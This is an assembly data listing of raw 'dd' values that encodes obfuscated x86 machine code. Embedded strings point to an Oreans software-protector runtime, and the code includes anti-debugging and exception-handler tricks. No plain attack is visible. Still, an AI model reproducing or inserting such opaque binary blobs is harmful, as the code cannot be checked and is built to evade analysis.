		dd 46000000h, 9D9C356h,	858906ECh, 6441BFDh, 858D20B2h
		dd 646A173h, 91958960h,	0B064421h, 440A819Dh, 0D0FF6106h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 11C35141h
		dd 7FBAEBA0h, 0B1148F71h, 89006AABh, 44151D8Dh,	0FE906h
		dd 25030000h, 0ACFDF871h, 0D7FD4533h, 237AB0A4h, 0E195FFF1h
		dd 8B064420h, 441561BDh, 66C08B06h, 5640B6BFh, 7099D31h
		dd 83590644h, 4420CDBDh, 9750006h, 0B25BD83h, 74000644h
		dd 8B535019h, 7D9B8C0h,	85890000h, 64402F5h, 0A84F9D8Dh
		dd 0D3FF0646h, 0BD83585Bh, 6440B25h, 50177400h,	7D9B853h
		dd 85890000h, 64402F5h,	0A53E9D8Dh, 0D3FF0646h,	13E8585Bh
		dd 15000000h, 666312D8h, 1101993Ch, 0BEA64C27h,	27187A0Fh
		dd 8D8B5A1Dh, 6443049h,	0BFC08B5Ah, 23B042Ah, 55006A50h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 1C3B41A8h, 257AFA48h, 0D18B5782h, 0CFB70F5Ah, 0F58AD88Bh
		dd 53F9B70Fh, 15A19D8Dh, 38B0644h, 438B0389h, 50438950h
		dd 0FABC9D8Dh, 38B0646h, 605B0389h, 8BF1B70Fh, 0BA6661DFh
		dd 820FBBEFh, 6, 24059503h, 6A0644h, 0FABC858Dh, 0BF660646h
		dd 6A509F37h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0CECBC353h, 0F507FBFCh, 0F21495Dh
		dd 0D81h, 0B6B96000h, 2967CC35h, 4413D5B5h, 9D896106h
		dd 6440D99h, 958B606Ah,	64431B1h, 15A1858Dh, 0B70F0644h
		dd 0EE950FAh, 0A8000000h, 1BDE69B4h, 4F431D26h,	0BD131041h
		dd 29006A6Ch, 440AB1B5h, 0BF006A06h, 5FBF9606h,	180068h
		dd 758D0B00h, 5306440Fh, 30A195FFh, 8C0F0644h, 2, 0C7BFFE8Bh
		dd 0FF6A3FA9h, 44144195h, 0B5FFFC06h, 646FB23h,	0BF995FFh
		dd 95890644h, 6440C5Dh,	15A1858Dh, 6A0644h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 28B0C2C3h
		dd 69D76843h, 8B21974Fh, 6A1840h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 2A4253C3h, 19FEE3DCh
		dd 8D29BC31h, 64416BDh,	0E1985C7h, 644h, 8B600000h, 14E9D3h
		dd 0AE6F0000h, 0E1E2868Ch, 8FA597F3h, 0CF275AA8h, 42E9FE33h
		dd 0F613658h, 686h, 0AD8D0100h,	83064407h, 44217DBDh, 840F0006h
		dd 64h,	0A5958B60h, 106441Bh, 4410298Dh, 8C3D6106h, 0F000000h
		dd 21E83h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1804h, 0C3514100h, 5BB2FEDAh, 0E18166E3h, 56E9B681h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0FB5C352h, 86B1C9BFh, 963Dh, 0C8830F00h
		dd 6A000001h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0C77C352h, 718589EFh, 2906442Ch
		dd 4430ED95h, 9F858D06h, 0E9005AF5h, 0Ah, 61641FDEh, 0BFF45553h
		dd 0D0FF7AFCh, 0EFF2858Dh, 0E860005Ah, 12h, 0CC8E03B5h
		dd 3E5A1909h, 27A76B04h, 5E1D0372h, 0BD898F51h,	6442609h
		dd 0FE95Ah, 785D0000h, 0D7764267h, 0B4792F7h, 0AAB65627h
		dd 0D0FF61C7h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	49C35040h, 2038934h, 2718D8Bh, 70B50644h, 8BD08B66h
		dd 5E8C0h, 0E4300000h, 0FA85E02h, 835AF9BFh, 4420CDBDh
		dd 9750006h, 0B25BD83h,	74000644h, 8B535019h, 0BC6B8C0h
		dd 85890000h, 64402F5h,	0A84F9D8Dh, 0D3FF0646h,	0BD83585Bh
		dd 6440B25h, 50177400h,	0BC6B853h, 85890000h, 64402F5h
		dd 0A53E9D8Dh, 0D3FF0646h, 6A585Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 4ED442C3h
		dd 0B5D37AC0h, 1554949h, 4407918Dh, 8BC08B06h, 4423518Dh
		dd 0FFF88306h, 5F850Fh,	0E2810000h, 6CDDA5EFh, 247585C7h
		dd 644h, 6A0000h, 3E856h, 5E200000h, 74895EC3h,	44810424h
		dd 1C0424h, 56460000h, 8D3A53C3h, 0A8484A5Ah, 870F651Dh
		dd 4, 8442BF66h, 8E9h, 0CF4B4800h, 87D89017h, 0B9E9F6h
		dd 0BA660000h, 1FE93AA2h, 89000000h, 440749B5h,	1F88306h
		dd 10850Fh, 81660000h, 0E9439DEAh, 0E8h, 33CD9D09h, 73E90644h
		dd 8BFFFFF2h, 440269BDh, 79B50906h, 8B06441Ch, 83CE8AC0h
		dd 4420CDBDh, 9750006h,	0B25BD83h, 74000644h, 8B535019h
		dd 7DDB8C0h, 85890000h,	64402F5h, 0A84F9D8Dh, 0D3FF0646h
		dd 0BD83585Bh, 6440B25h, 50177400h, 7DDB853h, 85890000h
		dd 64402F5h, 0A53E9D8Dh, 0D3FF0646h, 8B0F585Bh,	6, 32B58D03h
		dd 0C08B0644h, 58C0Fh, 81660000h, 0E9EC53CAh, 244h, 8E8h
		dd 70290600h, 0ADEA0FAEh, 0FC82BA17h, 8D590C9Dh, 46F8C085h
		dd 0BEBB6006h, 616DE9C4h, 9E9h
		dd 0CC4D7400h, 0F858E496h, 8589058Ah, 646FAB8h,	11E8h
		dd 9221FC00h, 540C0EC1h, 0D82C3556h, 94468F23h,	0B70F68CBh
		dd 3EE95FC8h, 89000000h, 440099BDh, 6E906h, 20B90000h
		dd 0FA4476B1h, 0F6C8858Dh, 95230646h, 64419DDh,	935254BAh
		dd 0EA804045h, 0B8858932h, 0F0646FAh, 0C87h, 68C0F00h
		dd 8B000000h, 440365BDh, 8D346A06h, 441B2985h, 0B5FF5006h
		dd 646FAB8h, 95FF006Ah,	644035Dh, 0F07F883h, 16284h, 0DB8C6600h
		dd 0F04C3F6h, 0FC85h, 0E985C600h, 56064402h, 0A8B85268h
		dd 7DB5FF9Ch, 8D06442Dh, 443A6585h, 6AD0FF06h, 10006804h
		dd 646A0000h, 0D0FF006Ah, 0FB2B8589h, 85C60646h, 64402E9h
		dd 0AC9B6847h, 0B5FFEC18h, 6442D7Dh, 3A65858Dh,	0D0FF0644h
		dd 0F08BD0FFh, 2E985C6h, 684F0644h, 0C62F2661h,	1D85B5FFh
		dd 858D0644h, 6443A65h,	9D8DD0FFh, 646FB27h, 56286A53h
		dd 0C085D0FFh, 85C60075h, 64402E9h, 64986841h, 0B5FFDB87h
		dd 6441D85h, 3A65858Dh,	0D0FF0644h, 0FB448589h,	85C60646h
		dd 64402E9h, 0E7A4684Ch, 0B5FF80A4h, 6441D85h, 3A65858Dh
		dd 0D0FF0644h, 0FB2B9D8Bh, 5B8D0646h, 9D8D5304h, 646FB30h
		dd 0FF006A53h, 2B9D8BD0h, 0C70646FBh, 103h, 0C43C700h
		dd 2, 21F985C7h, 644h, 6A0000h,	6A006Ah, 0FB2B9D8Bh, 6A530646h
		dd 27B5FF00h, 0FF0646FBh, 46FB4495h, 0E985C606h, 45064402h
		dd 0A5F79768h, 25B5FF92h, 8D06440Eh, 443A6585h,	6AD0FF06h
		dd 0FF026A00h, 0DB8C66D0h, 7504C3F6h, 2B9D8B32h, 0C70646FBh
		dd 0C43h, 6A0000h, 9D8B006Ah, 646FB2Bh,	0FF006A53h, 46FB27B5h
		dd 4495FF06h, 0FF0646FBh, 46FB27B5h, 4195FF06h,	6A064414h
		dd 0E195FF00h, 8B064420h, 4425A58Dh, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 8D2B8173h
		dd 6442C01h, 2CDC858Dh,	0CB8B0647h, 8950AAB2h, 4417659Dh
		dd 35FF6406h, 0
		dd 8C4489B9h, 5E81Fh, 8970000h,	666220F4h, 27C7EF81h, 2589645Ah
		dd 0
		dd 0EB5CC781h, 0BD83021Fh, 6442381h, 44840F00h,	89000000h
		dd 4409A98Dh, 11BD8306h, 106442Fh, 31850Fh, 5E80000h, 45000000h
		dd 7FC7B8FCh, 0A55DD281h, 8B5A2C01h, 44289595h,	44BD8006h
		dd 646FFh, 0D850Fh, 0C88B0000h,	136E9h,	0F1B58900h, 3306440Dh
		dd 0E9C033DBh, 7, 0DBDF157Fh, 409BA7CFh, 0B073F0Fh, 58F64h
		dd 83000000h, 0BF6604C4h, 0B70F5F63h, 0B18531D7h, 83064431h
		dd 840FFFFBh, 0Bh, 2BF5B501h, 0E6E90644h, 0E9000000h, 52h
		dd 6898D8Bh, 4C8B0644h,	81C70C24h, 0A4h, 0FFFFFFFFh, 0B88183h
		dd 33040000h, 5C8BC3C0h, 0E8550C24h, 0
		dd 0FEED815Dh, 8B06472Ch, 0B883h, 0C1858D00h, 8906472Dh
		dd 0B883h, 0C0335D00h, 0C281FCC3h, 25A78399h, 421BD89h
		dd 858D0644h, 6472CF4h,	89DB509h, 31500644h, 4425D1B5h
		dd 0FF64FC06h, 35h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 0C2D9D453h, 258964B6h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 5FC35646h
		dd 8BBE9E5Bh, 440DF195h, 0AB906h, 4B80000h, 54855D7h, 0DF78164h
		dd 85D465BBh, 0B640BA86h, 0EA810034h, 345FE8h, 68FB81EDh
		dd 75564D58h, 4985C70Ah, 1064431h, 64000000h, 58Fh, 0C4830000h
		dd 0CD958B04h, 8906442Fh, 44161185h, 6AC08B06h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 1681C351h, 0B6990B71h, 831958BBh, 4420CDBDh,	9750006h
		dd 0B25BD83h, 74000644h, 8B535019h, 43DB8C0h, 85890000h
		dd 6442229h, 0A8B69D8Dh, 0D3FF0646h, 0BD83585Bh, 6440B25h
		dd 50177400h, 43DB853h,	85890000h, 6442229h, 0A5579D8Dh
		dd 0D3FF0646h, 5E9585Bh, 1D000000h, 92EF8CCDh, 2609BD8Bh
		dd 0BD890644h, 64402A5h, 0B4C68051h, 0E9C08B59h, 13Ah
		dd 4, 35382E31h, 35h, 6	dup(0)
		dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h
		dd 6E6F69h, 61656C50h, 202C6573h, 646E6573h, 65687420h
		dd 6C6F6620h, 69776F6Ch, 6320676Eh, 7365646Fh, 206F7420h
		dd 6F666E69h, 65726F40h, 2E736E61h, 2E6D6F63h, 61685420h
		dd 79206B6Eh, 0A2E756Fh, 200D0A0Dh, 20202020h, 28202020h
		dd 73657270h, 54432073h, 432B4C52h, 206E6F20h, 73696874h
		dd 6E697720h, 20776F64h, 63206F74h, 2079706Fh, 63206F74h
		dd 6270696Ch, 6472616Fh, 20202029h, 0A0D0A20h, 7265560Dh
		dd 6E6F6973h, 203D2020h, 0D0A7325h, 63656843h, 204E496Bh
		dd 25203D20h, 430D0A64h, 6B636568h, 2054554Fh, 6425203Dh
		dd 72500D0Ah, 4E49636Fh, 3D202020h, 0A642520h, 6F72500Dh
		dd 54554F63h, 203D2020h, 0D0A6425h, 74697845h, 20204E49h
		dd 25203D20h, 450D0A64h, 4F746978h, 20205455h, 6425203Dh
		dd 50540D0Ah, 20206E69h, 3D202020h, 0A642520h, 0BD83000Dh
		dd 64416C1h, 2D840F00h,	8D000001h, 46A36E85h, 858D5006h
		dd 646A2D8h, 16850h, 95FF8000h,	646A37Eh, 2E6A858Dh, 8D500647h
		dd 472E7485h, 6A5006h, 858D006Ah, 646A2ECh, 6EB5FF50h
		dd 0FF0646A3h, 4419E595h, 6A858D06h, 5006472Eh,	2E78858Dh
		dd 6A500647h, 8D006A00h, 46A2FE85h, 0B5FF5006h,	646A36Eh
		dd 19E595FFh, 858D0644h, 6472E6Ah, 84858D50h, 5006472Eh
		dd 6A006Ah, 0A34B858Dh,	0FF500646h, 46A36EB5h, 0E595FF06h
		dd 8D064419h, 472E6A85h, 858D5006h, 6472E8Ch, 6A006A50h
		dd 69858D00h, 500646A3h, 0A36EB5FFh, 95FF0646h,	64419E5h
		dd 2E6A858Dh, 8D500647h, 472E8885h, 6A5006h, 858D006Ah
		dd 646A352h, 6EB5FF50h,	0FF0646A3h, 4419E595h, 6A858D06h
		dd 5006472Eh, 2E7C858Dh, 6A500647h, 8D006A00h, 46A35A85h
		dd 0B5FF5006h, 646A36Eh, 19E595FFh, 858D0644h, 6472E6Ah
		dd 80858D50h, 5006472Eh, 6A006Ah, 0A361858Dh, 0FF500646h
		dd 46A36EB5h, 0E595FF06h, 0FF064419h, 46A36EB5h, 0F995FF06h
		dd 0E9064413h, 0A2h, 2E0DBD83h,	0F000644h, 9584h, 11BD8300h
		dd 6442Fh, 11850Fh, 958B0000h, 644041Dh, 1CF8C281h, 0FE90000h
		dd 8D000000h, 4415A195h, 34528B06h, 0C340C281h,	95893BD4h
		dd 6442F3Dh, 2F3DBD83h,	0F000644h, 5584h, 3D9D8B00h, 8306442Fh
		dd 38B4CC3h, 2E748589h,	9D8B0647h, 6442F3Dh, 8B50C383h
		dd 78858903h, 8B06472Eh, 442F3D9Dh, 54C38306h, 8589038Bh
		dd 6472E84h, 2F3D9D8Bh,	0C3830644h, 89038B58h, 472E8885h
		dd 3D9D8B06h, 8306442Fh, 38B5CC3h, 2E7C8589h, 0BD830647h
		dd 64416C1h, 0D850F00h,	83000000h, 442E0DBDh, 840F0006h
		dd 68h,	2E8CB5FFh, 0B5FF0647h, 6472E80h, 2E7CB5FFh, 0B5FF0647h
		dd 6472E88h, 2E84B5FFh,	0B5FF0647h, 6472E78h, 2E74B5FFh
		dd 858D0647h, 6472E6Eh,	0A6858D50h, 5006472Eh, 471858Dh
		dd 0FF500644h, 4409A195h, 24C48306h, 858D406Ah,	6472E90h
		dd 71858D50h, 50064404h, 95FF006Ah, 644035Dh, 95FF016Ah
		dd 64420E1h, 14E8C18Bh,	48000000h, 0D6305267h, 0B1E86448h
		dd 4DD3F28Eh, 4C726641h, 0E88C5703h, 14h, 0EBCC906Bh, 5AF72F5Dh
		dd 0B72E29ECh, 877D7F2Ah, 0C8F03105h, 9E38BA66h, 0F78A5B5Ah
		dd 6BF0C381h, 8E0F0000h, 6, 5952E681h, 0B3685F02h, 0E800001Ah
		dd 0Ah,	0DA74DBD6h, 9FB6057Ah, 840F8CDDh, 14h, 0EE8h, 0ACC91F00h
		dd 6E445A5Fh, 1EEF287Ch, 5EE9A854h, 8A0F585Ah, 7, 665E5360h
		dd 0FF61C28Bh, 0D8D0F33h, 60000000h, 0E65B25BFh, 890F19h
		dd 61000000h, 0CA816659h, 0C18158A8h, 3899FC57h, 28D0Fh
		dd 0F28B0000h, 4799C181h, 0F9BE10B9h, 81732906h, 0CD7E1AF1h
		dd 0BF64BE24h, 0F8514EF5h, 0EB81038Fh, 119ED0B2h, 0D114CF81h
		dd 0C3812B06h, 119ED0AEh, 4501BA66h, 0F01E883h,	1A85h
		dd 0D38B6600h, 3AE9h, 7D67E900h, 57CDD67Fh, 95675126h
		dd 9E64818h, 0F17BCA3h,	0A88h, 5E900h, 0EBBD0000h, 0E9FB1E6Ch
		dd 0FFFFFF6Fh, 7E66C5D8h, 6FECC0D0h, 0D4AD6905h, 77E27443h
		dd 0EB0DD866h, 46F31718h, 9Bh, 4 dup(0)
		dd 20BE900h, 8B600000h,	0E824245Ch, 0
		dd 5AED815Dh, 61064733h, 0E90004C2h, 0FFFFFFE6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0)
		dd 0E9C36160h, 0FFFFFFF8h, 3392B58Bh, 0E6810647h, 0FFFFF000h
		dd 0BE9h, 19E800h, 0C6810000h, 1000h, 3396B53Bh, 860F0647h
		dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h,	324C88Ch
		dd 840FC00Ah, 19h, 2BB5350h, 8B000000h,	442F3D85h, 0A188606h
		dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h,	50FFFFFFh
		dd 82474FFh, 28E995FFh,	0F500644h, 0FE244C01h, 1CC08358h
		dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h
		dd 9840FC0h, 8B000000h,	442F3D85h, 0C606h, 2404FF58h, 0E90004C2h
		dd 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah, 38h, 2BBh
		dd 3D858B00h, 8606442Fh, 0FDB0A18h, 0FFFFF685h,	0A585C7FFh
		dd 64423h, 8B000000h, 8B082444h, 100098h, 988900h, 8B000010h
		dd 0E9188918h, 0Ah, 23A585C7h, 1000644h, 5B580000h, 0C32404FFh
		dd 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h, 763AB7A1h
		dd 1B101B0h, 13E9h, 0C88AAC00h,	0C332C302h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC90Ah, 0FFFFFFE5h, 850FD20Bh
		dd 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h, 1, 3F80AAh
		dd 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h, 10E9DB33h
		dd 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h, 0B49D3D3h
		dd 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h, 0B0763AB7h
		dd 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh, 1840Fh
		dd 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h, 61FFFFFFh
		dd 0D88C66C3h, 840F04A8h, 29h, 333785C7h, 10647h, 0F500000h
		dd 0FE244C01h, 333B858Fh, 858D0647h, 6473333h, 333BBD8Dh
		dd 38890647h, 23E9h, 0A1858D00h, 8B064415h, 17053840h
		dd 899B46F3h, 47333385h, 0A1858D06h, 8B064415h,	85893C40h
		dd 6473337h, 3350858Dh,	85890647h, 64428E9h, 87E9h, 0D48B5200h
		dd 8728B60h, 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	8728B60h
		dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	33535156h
		dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h,	34980400h
		dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h
		dd 8C25Ah, 35C3858Dh, 85890647h, 6441C01h, 35EB858Dh, 85890647h
		dd 6442619h, 3613858Dh,	85890647h, 64431FDh, 0D3816060h
		dd 50D9207Ch, 61DAB70Fh, 0E0B2C08Bh, 20CDBD83h,	75000644h
		dd 25BD8309h, 6440Bh, 53501974h, 0EB8C08Bh, 89000004h
		dd 4402F585h, 4F9D8D06h, 0FF0646A8h, 83585BD3h,	440B25BDh
		dd 17740006h, 0EB85350h, 89000004h, 4402F585h, 3E9D8D06h
		dd 0FF0646A5h, 6A585BD3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 4DF4C353h, 0BF0F5360h
		dd 0D6815AF3h, 32EEE43Ah, 10E961h, 7FBB0000h, 3A219484h
		dd 0CF063123h, 8F559498h, 5E96CD8h, 7E000000h, 79DBE17Ah
		dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 1E42FFC3h, 0A3DB8371h, 0BD83D316h, 6442381h
		dd 42840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0D575C356h,	0E900CCD7h
		dd 249h, 13E8h,	1D80F800h, 45E2C20Dh, 0A33CB076h, 4A4B0581h
		dd 8A6E6AFFh, 0B70F59F5h, 6ADF8CCBh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0BF7EC353h
		dd 66F5BD06h, 4C7F7h, 1FF850Fh,	0BE90000h, 0D8000000h
		dd 0B39153BDh, 718327EEh, 0FF2BDB4Eh, 0FA60F0BAh, 839D8D4Eh
		dd 8B064739h, 1C8950D1h, 51006A24h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0D1A3FC0h, 0FF648AB6h
		dd 35h,	51006A00h, 3E8h, 0C3592000h, 244C8959h,	24448104h
		dd 1C04h, 0C3514100h, 0A5338CB1h, 2DEE9953h, 5E821h, 3E9C0000h
		dd 0F3CEF56h, 28Eh, 59616000h, 258964h,	6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 78EDC353h, 2E18317h,	8BF57239h, 14E8C4h, 0BB720000h
		dd 70562944h, 0B6F5A635h, 233E338Fh, 9BB7D5D5h,	6650689Fh
		dd 5A9D3BBAh, 0EB01CD59h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 4C389DA2h
		dd 0D1816657h, 0E95EC57Ch, 0Bh,	821518F8h, 747AC333h, 6A9A741Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 590EC353h, 1AE799BAh, 2850F25h, 0B6000000h
		dd 48B0FF0h, 66000000h,	6471E0BEh, 58Fh, 0F1B10000h, 6004C483h
		dd 0B61C38Bh, 0AA840FC0h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 9FD3C356h
		dd 8EC68110h, 801A621Eh, 80610DCEh, 816695E2h, 8D7C6AC6h
		dd 44733ABDh, 12E906h, 81400000h, 853D7404h, 5A21B460h
		dd 0CCC3EDF6h, 0F7ACA12Ch, 1B8h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0A6A4FDC0h
		dd 820Fh, 0E7FF0000h, 5C8B57F5h, 838B1024h, 0B8h, 140B60Fh
		dd 8389C8FEh, 0B0h, 0B88383h, 5F020000h, 0E9C3C033h, 9
		dd 78291E2Ah, 719D4513h, 6A6140h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0C08BE7C3h, 0BD834EB1h
		dd 64420CDh, 83097500h,	440B25BDh, 19740006h, 0C08B5350h
		dd 40EB8h, 29858900h, 8D064422h, 46A8B69Dh, 5BD3FF06h
		dd 25BD8358h, 6440Bh, 53501774h, 40EB8h, 29858900h, 8D064422h
		dd 46A5579Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 54E26B01h, 0FD3BF0Fh
		dd 484h, 0A9BA6600h, 6AC08B0Bh,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0ED9BC357h,	0C28B9C56h
		dd 8EBh, 0
		dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h
		dd 6442F11h, 69C2858Dh,	88B0647h, 1000888Bh, 0A8B0000h
		dd 0FC4A8B66h, 3A748D89h, 0BD830647h, 644217Dh,	0F840F00h
		dd 60000000h, 95FF006Ah, 6441C4Dh, 0FFC4E961h, 8966FFFFh
		dd 0CEC1FC72h, 72896610h, 4CD5202h, 7085895Ah, 8B06473Ah
		dd 473A74B5h, 10CEC106h, 2728966h, 3A74B58Bh, 89660647h
		dd 8B61FC72h, 473A7085h, 958DC306h, 64400B5h, 2F3D9589h
		dd 95890644h, 6441591h,	159185FFh, 85C60644h, 64402E9h
		dd 48D86853h, 0B5FFFCB1h, 6442D7Dh, 3A65858Dh, 0D0FF0644h
		dd 1C4D8589h, 858D0644h, 647336Ah, 30158589h, 51E90644h
		dd 60000000h, 2424748Bh, 8B3C7603h, 8B28247Ch, 0F8C281D6h
		dd 66000000h, 0F064E8Bh, 0F983C9B7h, 16840F00h,	3B000000h
		dd 8F0F0C7Ah, 15h, 8B28EA83h, 4A8B0C42h, 2BC12B14h, 247C89F8h
		dd 8C2611Ch, 28C28300h,	0CF850F49h, 0E9FFFFFFh,	0FFFFFFE9h
		dd 9FD3EBAh, 20EB00h, 7	dup(0)
		dd 0E9000000h, 58Dh, 581E9h, 3DA66800h,	4BE90647h, 68FFFD43h
		dd 6473E54h, 0FD4341E9h, 3FEF68FFh, 37E90647h, 68FFFD43h
		dd 6474045h, 0FD432DE9h, 9E3EA4FFh, 279D0937h, 0EC50B08Eh
		dd 56067B45h, 0FD67C1FFh, 4EAE7654h, 0FBC56CD8h, 4F71D88Ch
		dd 0FFC168D4h, 3377DE86h, 5911C857h, 0ECBAC2E9h, 76D34F5Eh
		dd 0EDCC550Fh, 0BCA55CCh, 8D493094h, 5FC72CF6h,	9481F4B6h
		dd 4Ch,	0EE711526h, 0C930942Bh,	6AF5BD9Ch, 0C93094ACh
		dd 0AC17852Dh, 0FA88A930h, 0DE3964E3h, 3A5E7FDEh, 7794A7A5h
		dd 0D64A74CFh, 3C582E66h, 0E993F8A3h, 0D1F0D1C2h, 0AA1A8BB5h
		dd 0F35A1233h, 0AD6CF397h, 1EC2E994h, 3AE3773Fh, 51000000h
		dd 309427EEh, 4CB48AC9h, 0F29ED890h, 25803DA4h,	75079EBFh
		dd 9FDE3F14h, 6E4F6EDAh, 897950Ah, 7756CF77h, 7B52D13h
		dd 5EF7BF9Eh, 209C043Ah, 39A698B9h, 733B1A83h, 69D34FC1h
		dd 32E694F0h, 5E11A2C2h, 0B77FE0A8h, 0BE493021h, 38069F45h
		dd 0AC8D14C8h, 29B03492h, 6AE24C37h, 4A166400h,	7ED7DA46h
		dd 0BD1F80BEh, 364D0524h, 29930FECh, 0FD2BC680h, 2A428586h
		dd 0A8C005E8h, 53CCA889h, 493187A4h, 4600425h, 3186E09Bh
		dd 0B564FB49h, 16493187h, 28604137h, 0AE168FB1h, 7BB14107h
		dd 0E2C35A0Ah, 8E38A7C3h, 5F4F75B6h, 0F183E77Eh, 0BB0BB72h
		dd 49D69E4Bh, 4F74FE8Eh, 44A9750Eh, 883919E0h, 9A15h, 8A157100h
		dd 4F7505CFh, 2391D9F8h, 990D9B37h, 0F16E0A2Bh,	0CF77CEC3h
		dd 0F470D6E8h, 5A4C0F90h, 5C7DC2E9h, 27436214h,	7D35AF19h
		dd 86197D19h, 0C2E959D3h, 4C0F90F4h, 7DC2E95Ah,	0B357D5Ch
		dd 2A4E2A9Ah, 0E95A06B5h, 0AEE6C7C2h, 18CC3907h, 0A81FB6BDh
		dd 0CB5FC67Bh, 2D7h, 68C17BE9h,	0DF76EE56h, 72DB81E1h
		dd 0C069D34Ch, 75DC88FEh, 0F96FCD57h, 69DCE24Bh, 0F56C52FBh
		dd 73D0EE47h, 781C58F1h, 0E95734E7h, 71C395C2h,	5D486715h
		dd 2DEEAEB6h, 299F165h,	4F430000h, 8B32CD3h, 0C1C93094h
		dd 0C758C1E0h, 0C9309410h, 30951D58h, 47D8BCC9h, 0C9309494h
		dd 0BCE5135h, 0BCC93094h, 6BF4BC9Dh, 0C93094AFh, 309440F7h
		dd 94AD68C9h, 40F7C930h, 0B1893094h, 82F09421h,	75D2852Ah
		dd 642CE6h, 7BE95A64h, 148BC3E2h, 0F76FDB3h, 0CE881130h
		dd 108FEB22h, 92E395Eh,	0A1BBE9Fh, 7EBDED49h, 22973E7h
		dd 0A91B0000h, 40A49A33h, 0AF132D84h, 259AA40Dh, 0C6201EB7h
		dd 8B95B71Eh, 248D3791h, 9039AB1Ah, 208933AEh, 963FA51Eh
		dd 7229B6D2h, 5BC2E956h, 0D64FBF0Dh, 21B1F76Eh,	0AA94F094h
		dd 5DC28A3Ah, 0CF77D033h, 43A93B2h, 0B789209Ch,	4E08914Bh
		dd 900F6BA2h, 0C9309486h, 50CF6647h, 0C93094A5h, 57337A16h
		dd 77CFAAC8h, 990F31CFh, 0AD93B22Bh, 34158C38h,	4F2B0A7Ch
		dd 0F9501471h, 61B55EC7h, 7920BF76h, 52C2E935h,	0DCF30173h
		dd 98FC6544h, 0CE863EA6h, 0E987B651h, 0AB1B25C2h, 0C981A039h
		dd 0CEAAE38Fh, 30C35751h, 0D3B796C9h, 0A8CC78EDh, 28B12B96h
		dd 8CE84109h, 0D99153B2h, 1C837EE7h, 0C9305E5Dh, 0E6950A6Eh
		dd 0E7C9305Dh, 5FC6E7C6h, 305E25C0h, 0B3FA96C9h, 0C27AE9D7h
		dd 6771EE8Ah, 0A6CF779Ah, 68DDE387h, 359EB9AFh,	0D2C71B3h
		dd 0BB299AA4h, 5ECC6422h, 0C5E47DE7h, 0D1F80E4h, 0DCC93058h
		dd 3CFB64FDh, 0BCC93051h, 8EF65BC7h, 9301F470h,	4D0C93F7h
		dd 7EC9305Dh, 5D19C05Fh, 93B2C930h, 298BDBh, 0D1EF0000h
		dd 4869F074h, 2B15B200h, 43B859BAh, 0F955724Ah,	480F90D8h
